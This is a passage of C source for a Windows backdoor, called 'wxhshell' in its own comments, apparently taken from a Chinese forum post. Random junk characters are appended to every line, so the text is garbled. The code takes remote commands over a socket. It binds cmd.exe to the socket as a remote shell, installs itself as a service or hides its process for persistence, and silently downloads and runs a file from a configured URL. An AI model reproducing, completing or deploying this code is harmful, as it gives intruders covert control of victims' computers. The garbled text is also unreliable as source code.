      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j63w(Jv/  
    break; <51(q_f  
  } V =1Y&y  
  // 安装 ^bS&[+9E  
  case 'i': { My=p>{s  
    if(Install()) _%"/I96'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-0BQs`N  
    else v')T^b F@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ dmyS?Or  
    break; o- GHAQ  
    } &e2") 4oh  
  // 卸载 1oodw!hW  
  case 'r': { Qv[@ioc  
    if(Uninstall()) s{hJ"lv:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z wIsEJz  
    else 'rU 5VrK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h.G/HHz  
    break; DTgF,c  
    } +=;F vb  
  // 显示 wxhshell 所在路径 >_tn7Z0 L  
  case 'p': { B ljZ&wZW  
    char svExeFile[MAX_PATH]; yg/.=M  
    strcpy(svExeFile,"\n\r"); 9G 9!=J  
      strcat(svExeFile,ExeFile); qI KVu_  
        send(wsh,svExeFile,strlen(svExeFile),0); s_p?3bKu  
    break; +*F ;l\R  
    } FRX'"gIR0  
  // 重启 x!gu&AA<*  
  case 'b': { _f2(vWCW;J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Smg,1,=  
    if(Boot(REBOOT)) q=g;TAXZl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /R@eOl}D  
    else { 9?@M Zh  
    closesocket(wsh); -:>Mi5/ s  
    ExitThread(0); q[7C,o>/  
    } zjB8~ku#  
    break; dN;C-XF3s  
    } p \F*Y,4  
  // 关机 :/d#U:I  
  case 'd': { #L[Atx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l.Qj?G  
    if(Boot(SHUTDOWN)) YzsHec  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); So,EPB+  
    else { OG/R6k.  
    closesocket(wsh); `3\5&Bf  
    ExitThread(0); s#64NG  
    } rS8/_'  
    break; !V#(g./W  
    } U")bvUIL  
  // 获取shell MhWmY[  
  case 's': { aJK8G,Vk  
    CmdShell(wsh); WXaLKiA*(  
    closesocket(wsh); M)( 5S1ndq  
    ExitThread(0); {N/(lB8  
    break; O~l WFaW  
  } f*LDrAf9  
  // 退出 ,7z.%g3+z  
  case 'x': { bp;b;f>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eBBqF!WDb  
    CloseIt(wsh); mp>,TOi~s7  
    break; qAHQZKk  
    } >t3%-Kc  
  // 离开 0x[v)k9"0  
  case 'q': { Rw=g g >\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fg^$F9@  
    closesocket(wsh); ~Wf&$p<|  
    WSACleanup(); VuPa '2  
    exit(1); 34&n { xv  
    break; @=isN'>]O  
        } |^8l8u  
  } #4DEb<D  
  } }e&   
d 0$)Y|d>  
  // 提示信息 GUJx?V/[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MG<F.u  
} /87?U; |V  
  } 7[.aAGTZ;  
}&bO;o&>  
  return; Y Dq5%N`  
} I?EtU/AD  
Pur~Rz\ \  
// shell模块句柄 G;>b}\Ng  
int CmdShell(SOCKET sock) 9jCn|+  
{ TW7jp  
STARTUPINFO si; _>S."cm}!k  
ZeroMemory(&si,sizeof(si)); pmv;M`_|R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4D0=3Vy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T:q!>"5  
PROCESS_INFORMATION ProcessInfo; tF+m/}PM^  
char cmdline[]="cmd"; +pkX$yz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B_aLqB]U  
  return 0; dpxP  
} !Z 3iu  
Sbc  
// 自身启动模式 /YKg.DA|  
int StartFromService(void) [daUtKz  
{ q5p!Ty"  
typedef struct [>U'P1@ql  
{ pIXbr($  
  DWORD ExitStatus;  ") q  
  DWORD PebBaseAddress; dmgoVF_qR  
  DWORD AffinityMask; G\@ uj>Z  
  DWORD BasePriority;  <]2X~+v  
  ULONG UniqueProcessId; 96fbMP+7R  
  ULONG InheritedFromUniqueProcessId; l c?9B  
}   PROCESS_BASIC_INFORMATION; 7y""#-}V[r  
N\1 EWi  
PROCNTQSIP NtQueryInformationProcess; yM`J+tq  
Y(h86>z*w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p~J|l$%0rQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Po~{Mpe  
lZCTthr\  
  HANDLE             hProcess; 2_'{f1bVxz  
  PROCESS_BASIC_INFORMATION pbi; ^_0zO$z,  
p2cwW/^V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r#M0X^4A  
  if(NULL == hInst ) return 0; Y@)/iwq  
0hVw=KDO9:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); outAZy=R;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q`j!$r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b1>zGC^|  
*~YU0o  
  if (!NtQueryInformationProcess) return 0; yU<T_&M  
__dSEOGoe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Imq4I~)  
  if(!hProcess) return 0; v0+mh]  
,l+lokD-#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b*i_'k}*<g  
f*)8bZDD  
  CloseHandle(hProcess); J$Uj@M  
mwU|Hh)N]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !6{; z/Hy  
if(hProcess==NULL) return 0; 5 Yj qN  
%#kml{I   
HMODULE hMod; (1Q G]1q  
char procName[255]; =BW;n]ls  
unsigned long cbNeeded; YflM*F`  
#X1iig+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9f1,E98w_  
.K%1{`.|  
  CloseHandle(hProcess); Wwo'pke  
>|Yr14?7  
if(strstr(procName,"services")) return 1; // 以服务启动 y:,Ro@H%  
oM ey^]!  
  return 0; // 注册表启动 v o<'7,  
} ;:nx6wi  
O1]L4V1iH  
// 主模块 1X. E:  
int StartWxhshell(LPSTR lpCmdLine) QfPsF@+-`7  
{ P`^3-X/  
  SOCKET wsl; T)4pLN E  
BOOL val=TRUE; CNP!v\D  
  int port=0; b`: n i   
  struct sockaddr_in door; 4k%y*L  
jMFLd  
  if(wscfg.ws_autoins) Install(); G)5R iRcs  
rnX D(  
port=atoi(lpCmdLine); dA4DW  
&/wd_;d^A  
if(port<=0) port=wscfg.ws_port; Dfz3\|LJ  
/<zBjvr%%  
  WSADATA data; eI99itDQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q1hHK'3w  
+8p4\l$<`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p SMF1Oy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FLf< gz  
  door.sin_family = AF_INET; A<$~Q;r2a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %)'# d  
  door.sin_port = htons(port); y(81| c#  
b~oQhU??"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :xwyE(w  
closesocket(wsl); ': fq/k3;&  
return 1; u_31Db<  
} =*2_B~`  
* z85 2@  
  if(listen(wsl,2) == INVALID_SOCKET) { g_8A1lt  
closesocket(wsl); e97Ll=>  
return 1; ZhvZe/  
} 5ub|r0&M  
  Wxhshell(wsl); R"Ff(1m  
  WSACleanup(); T- ~l2u|s  
Pk{eGG<F$  
return 0; 2&b?NqEeZ  
?F=^& v8  
} L<dJWxf?D  
>G#SfE$0  
// 以NT服务方式启动 WlJ=X$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r~2>_LK  
{ 'aV/\a:*  
DWORD   status = 0; NQ&\t[R[  
  DWORD   specificError = 0xfffffff; r. z=  
GycW3tc]_&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZsnFuk#W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^mp#7OL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z.vE RP56  
  serviceStatus.dwWin32ExitCode     = 0; Q vc$D{z  
  serviceStatus.dwServiceSpecificExitCode = 0; 3fBV SFVS  
  serviceStatus.dwCheckPoint       = 0; *Rx&#9  
  serviceStatus.dwWaitHint       = 0; -/w#f&Y+]8  
:o"9x,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mZG)#gW[  
  if (hServiceStatusHandle==0) return; qp##>c31X  
7oWT6Qa5  
status = GetLastError(); 8GN_ 3pT  
  if (status!=NO_ERROR) lq'MLg  
{ %:S4OT8]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?:woUTyCv  
    serviceStatus.dwCheckPoint       = 0; NpPuh9e{  
    serviceStatus.dwWaitHint       = 0; j-$F@p_2F  
    serviceStatus.dwWin32ExitCode     = status; `>1XL2  
    serviceStatus.dwServiceSpecificExitCode = specificError; \img   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'r 0kX||  
    return; @'AjEl:&-_  
  } _-+xzdGvX  
j:>_1P/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9'" F7>d  
  serviceStatus.dwCheckPoint       = 0; K`vc&uf  
  serviceStatus.dwWaitHint       = 0; d94 Le/E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tg~@(IT}j  
} nhdOo   
>))f;$D=  
// 处理NT服务事件,比如:启动、停止 /XVjcD66c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R` HC EX)  
{ ;n\$'"K&;  
switch(fdwControl) ;07>ZH%  
{ T1~G {@"  
case SERVICE_CONTROL_STOP: E:$EK_?:t  
  serviceStatus.dwWin32ExitCode = 0; DWwPid} "  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'W_u1l/  
  serviceStatus.dwCheckPoint   = 0; fHV%.25  
  serviceStatus.dwWaitHint     = 0; nDU=B.?E{O  
  { p[^a4E_v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t@vVE{`  
  } Kg;u.4.-M  
  return; h<0&|s*a)  
case SERVICE_CONTROL_PAUSE: 4roqD;5|~|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eJ ;a}{ 4%  
  break; b0| ;v-v  
case SERVICE_CONTROL_CONTINUE: ASU.VY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ou\M}C`E  
  break; =bHS@h8N<  
case SERVICE_CONTROL_INTERROGATE: Abc%VRsT  
  break; *}h#'+  
}; Q94Lq~?YF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 ":W^P  
} 3 BQZ[%0@  
?se\?q  
// 标准应用程序主函数 zB68%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Da3Z>/S  
{ tv 7"4$T  
4`[2Te>  
// 获取操作系统版本 2{}8_G   
OsIsNt=GetOsVer(); 5._1G| 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $a#-d;  
Fm#`}K_  
  // 从命令行安装 T0e- X  
  if(strpbrk(lpCmdLine,"iI")) Install(); f`vu+nw  
/$'|`jKsB  
  // 下载执行文件 5Y4#aq  
if(wscfg.ws_downexe) { xf4CM,Z7(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =THRy ZCH  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ys@OgdS@:  
} Q)[DSM  
qokCVI-\  
if(!OsIsNt) { ]tx/t^&/\u  
// 如果时win9x,隐藏进程并且设置为注册表启动 YAP,#a  
HideProc(); HD_ #-M  
StartWxhshell(lpCmdLine); : *8t,f~s^  
} J?%ecCN  
else w.o>G2u  
  if(StartFromService()) K6EG"Vv!  
  // 以服务方式启动 'ju'O#A9  
  StartServiceCtrlDispatcher(DispatchTable); }bZb8hiG  
else wLa8&E[  
  // 普通方式启动 ?#~km0~F)  
  StartWxhshell(lpCmdLine); K41Gn  
aoHAB<.C  
return 0; y!M# #K*  
}
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只看该作者 1 发表于: 2006-10-10
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